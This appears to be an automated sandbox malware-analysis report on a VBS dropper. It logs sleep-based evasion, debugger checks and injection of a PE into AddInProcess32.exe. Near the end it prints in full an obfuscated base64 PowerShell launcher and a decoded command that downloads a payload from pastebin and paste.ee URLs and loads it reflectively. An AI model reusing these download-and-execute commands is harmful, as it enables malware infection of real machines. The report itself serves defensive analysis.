Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_0040F7E2 Sleep,ExitProcess,

8_2_0040F7E2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 3_2_00007FFD9BA40FC5 sldt word ptr [eax]

3_2_00007FFD9BA40FC5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

8_2_0041A7D9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1666	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1388	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3610	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6222	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4090	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4430	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 5272	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 4192	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: foregroundWindowGot 1735	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2200	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1748	Thread sleep count: 3610 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1748	Thread sleep count: 6222 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7112	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3228	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228	Thread sleep count: 4090 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6788	Thread sleep count: 4430 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4180	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1196	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6888	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5408	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7396	Thread sleep count: 171 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7396	Thread sleep time: -85500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7400	Thread sleep count: 5272 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7400	Thread sleep time: -15816000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7400	Thread sleep count: 4192 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7400	Thread sleep time: -12576000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\PING.EXE

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	8_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	8_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	8_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00407877 FindFirstFileW,FindNextFileW,	8_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	8_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	8_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	8_2_0040BD72

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

8_2_00407CD2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000003.00000002.1947421542.000002603DC8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllf
Source: PING.EXE, 00000005.00000002.1760881316.000002468DF39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllaaN
Source: powershell.exe, 00000003.00000002.1886765737.00000260258D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: AddInProcess32.exe, 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll,
Source: powershell.exe, 00000006.00000002.1803498782.00000201EA48A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

API call chain: ExitProcess graph end node

graph_8-48316

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Encrypted powershell cmdline option found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_00434A8A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

8_2_0041CBE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00443355 mov eax, dword ptr fs:[00000030h]

8_2_00443355

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_004120B2 GetProcessHeap,HeapFree,

8_2_004120B2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0043503C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00434A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0043BB71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 8_2_00434BD8 SetUnhandledExceptionFilter,	8_2_00434BD8

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: D17008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe

8_2_00412132

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 8_2_00419662 mouse_event,

8_2_00419662

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?Sg?2?HU?UgBq?Fo?cgB2?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?GQ?YgBm?Gs?I??9?C??Jw?w?Cc?I??7?CQ?ZQB2?G8?bQBu?C??PQ?g?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C??OwBb?EI?eQB0?GU?WwBd?F0?I??k?GQ?d?B2?GU?Yg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?FE?U?B0?GE?dg?u?HI?ZQBw?Gw?YQBj?GU?K??n?CQ?J??n?Cw?JwBB?Cc?KQ?g?Ck?I??7?Fs?UwB5?HM?d?Bl?G0?LgBB?H??c?BE?G8?bQBh?Gk?bgBd?Do?OgBD?HU?cgBy?GU?bgB0?EQ?bwBt?GE?aQBu?C4?T?Bv?GE?Z??o?CQ?Z?B0?HY?ZQBi?Ck?LgBH?GU?d?BU?Hk?c?Bl?Cg?JwBU?GU?a?B1?Gw?YwBo?GU?cwBY?Hg?W?B4?Hg?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?TQBz?HE?QgBJ?GI?WQ?n?Ck?LgBJ?G4?dgBv?Gs?ZQ?o?CQ?bgB1?Gw?b??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?Jw?w?C8?Zg?y?Gs?cgBS?C8?Z??v?GU?ZQ?u?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?GU?dgBv?G0?bg?g?Cw?I??n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?L??g?CQ?agBk?GI?ZgBr?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\Desktop\asegurar.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jdbfk = '0' ;$evomn = 'C:\Users\user\Desktop\asegurar.vbs' ;[Byte[]] $dtveb = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dtveb).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/f2krR/d/ee.etsap//:sptth' , $evomn , '____________________________________________-------', $jdbfk, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1	Jump to behavior
